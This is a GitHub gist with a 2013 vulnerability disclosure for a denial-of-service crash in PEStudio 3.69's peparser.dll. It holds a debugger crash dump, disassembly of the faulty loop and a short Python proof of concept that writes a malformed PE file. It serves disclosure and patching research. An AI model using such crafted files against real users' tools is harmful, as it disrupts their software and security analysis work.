Created
June 7, 2013 15:56
-
-
Save debasishm89/5730322 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Title: PEStudio Version 3.69 Denial of Service | |
# Date: 5th June 2013 | |
# Author: Debasish Mandal ( https://twitter.com/debasishm89 ) | |
# Blog : http://www.debasish.in/ | |
# Software Homepage: http://www.winitor.com/ | |
# Version: PEStudio Version 3.69 | |
# Tested on: Windows XP SP2 / Windows 7 | |
# Vendor Patch : Recently released stable version (v6.91) is not affected. | |
''' | |
[+] Affected Module : peparser.dll version 3.69 | |
[+] Crash Point: | |
(6b4.17c): Access violation - code c0000005 (!!! second chance !!!) | |
eax=00000000 ebx=41414141 ecx=013f41d9 edx=013f0080 esi=00000000 edi=00004141 | |
eip=3001ce70 esp=0012d15c ebp=00a26100 iopl=0 nv up ei pl nz na pe nc | |
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 | |
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Documents and Settings\debasish mandal\Desktop\Tools\PeStudio369\PeParser.dll - | |
PeParser!PeParser::IPeParserFactory::Destroy+0xf1d0: | |
3001ce70 8b510c mov edx,dword ptr [ecx+0Ch] ds:0023:013f41e5=???????? | |
0:000> u eip | |
PeParser!PeParser::IPeParserFactory::Destroy+0xf1d0: | |
3001ce70 8b510c mov edx,dword ptr [ecx+0Ch] | |
3001ce73 3bda cmp ebx,edx | |
3001ce75 7209 jb PeParser!PeParser::IPeParserFactory::Destroy+0xf1e0 (3001ce80) | |
3001ce77 8b6908 mov ebp,dword ptr [ecx+8] | |
3001ce7a 03ea add ebp,edx | |
3001ce7c 3bdd cmp ebx,ebp | |
3001ce7e 720c jb PeParser!PeParser::IPeParserFactory::Destroy+0xf1ec (3001ce8c) | |
3001ce80 46 inc esi | |
[+] IDA Pro Snap of the Buggy Function:(Code from peparser.dll version 3.69) | |
.text:3001CE40 sub_3001CE40 proc near ; CODE XREF: sub_30003510+154p | |
.text:3001CE40 ; sub_300184D0+4Bp | |
.text:3001CE40 mov ecx, [ecx+4] | |
.text:3001CE43 xor eax, eax | |
.text:3001CE45 test ecx, ecx | |
.text:3001CE47 jz short locret_3001CE91 | |
.text:3001CE49 mov edx, [ecx+1Ch] | |
.text:3001CE4C movzx ecx, word ptr [edx+14h] | |
.text:3001CE50 lea ecx, [ecx+edx+18h] | |
.text:3001CE54 test ecx, ecx | |
.text:3001CE56 jz short locret_3001CE91 | |
.text:3001CE58 test ebx, ebx | |
.text:3001CE5A jz short locret_3001CE91 | |
.text:3001CE5C push esi | |
.text:3001CE5D push edi | |
.text:3001CE5E movzx edi, word ptr [edx+6] | |
.text:3001CE62 xor esi, esi | |
.text:3001CE64 test edi, edi | |
.text:3001CE66 jle short loc_3001CE8F | |
.text:3001CE68 push ebp | |
.text:3001CE69 lea esp, [esp+0] | |
.text:3001CE70 | |
.text:3001CE70 loc_3001CE70: ; CODE XREF: sub_3001CE40+46j | |
.text:3001CE70 mov edx, [ecx+0Ch] <-- Crash | |
.text:3001CE73 cmp ebx, edx | |
.text:3001CE75 jb short loc_3001CE80 | |
.text:3001CE77 mov ebp, [ecx+8] | |
.text:3001CE7A add ebp, edx | |
.text:3001CE7C cmp ebx, ebp | |
.text:3001CE7E jb short loc_3001CE8C | |
.text:3001CE80 | |
.text:3001CE80 loc_3001CE80: ; CODE XREF: sub_3001CE40+35j | |
.text:3001CE80 inc esi | |
.text:3001CE81 add ecx, 28h | |
.text:3001CE84 cmp esi, edi | |
.text:3001CE86 jl short loc_3001CE70 | |
.text:3001CE88 pop ebp | |
.text:3001CE89 pop edi | |
.text:3001CE8A pop esi | |
.text:3001CE8B retn | |
.text:3001CE8C ; --------------------------------------------------------------------------- | |
[+] Proof of Concept : | |
''' | |
# /usr/bin/python | |
header = "MZ" | |
header += "A"*58 | |
header += "\x80\x00\x00\x00" | |
header += "A"*3 | |
header += "\x0e" | |
header += "A"*60 | |
header += "PE" | |
header += "A"*235 | |
f = open('POC.exe','wb') | |
f.write(header) | |
f.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment